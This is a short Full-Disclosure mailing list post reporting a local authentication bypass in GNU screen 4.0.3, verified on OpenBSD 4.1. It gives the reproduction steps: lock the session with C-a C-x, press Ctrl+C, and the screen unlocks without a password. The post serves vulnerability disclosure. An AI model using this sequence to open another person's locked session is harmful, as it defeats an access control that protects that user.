[Full-disclosure] screen 4.0.3 local Authentication Bypass

[Pranay Kanwar]

Hi,

Verified on OpenBSD

$ uname -a
OpenBSD drake 4.1 GENERIC#172 i386
$ pkg_info screen
Information for inst:screen-4.0.3p0

Comment:
multi-screen window manager
------output snipped------

$screen
Then pressing space-bar to continue

Locking the screen with C-a C-x.

Pressing Ctrl+C

Key:
Getpass error
$

The screen gets unlocked without entering a password.

Regards

warl0ck // MSG
http://www.metaeye.org